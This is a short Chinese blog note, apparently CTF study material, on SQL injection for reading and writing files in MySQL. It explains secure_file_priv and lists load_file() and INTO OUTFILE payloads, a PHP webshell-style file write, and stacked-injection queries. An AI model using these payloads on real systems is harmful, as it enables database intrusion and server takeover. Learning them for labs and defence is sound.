[mysql][sql注入]读写文件

secure_file_priv 全局变量

mysql> show variables like "%secure_file%"
    -> ;
+------------------+-------+
| Variable_name    | Value |
+------------------+-------+
| secure_file_priv | NULL  |
+------------------+-------+
1 row in set, 1 warning (0.00 sec)

参数限制 load data ,select … outfile , load_file()传到那个目录

null         不允许导入导出
/tmp/       只能传到该目录下
空           可以任意传

mysql读文件

select load_file('/flag');
select convert(load_file("/flag") using utf8);

mysql写文件

outfile
dumpfile
select 'a\naaa\raaa' into outfile '/tmp/1.txt';
select 'a\naa\raaa' into dumpfile "1.txt"; 
一句话木马
select "<?php phpinfo();?>" into outfile "tmp/1.php";

=========================================

当secure_file_priv 为NULL

使用堆叠注入

条件:如果支持多语句执行的情况
multi_query($sql)
1';use database();show tables;#
1';use database();show columns from 'table1' ;#
1'handler 'table1' open as h1;handler h1 read first#

版权声明:本文为qq_37301470原创文章,遵循CC 4.0 BY-SA版权协议,转载请附上原文出处链接和本声明。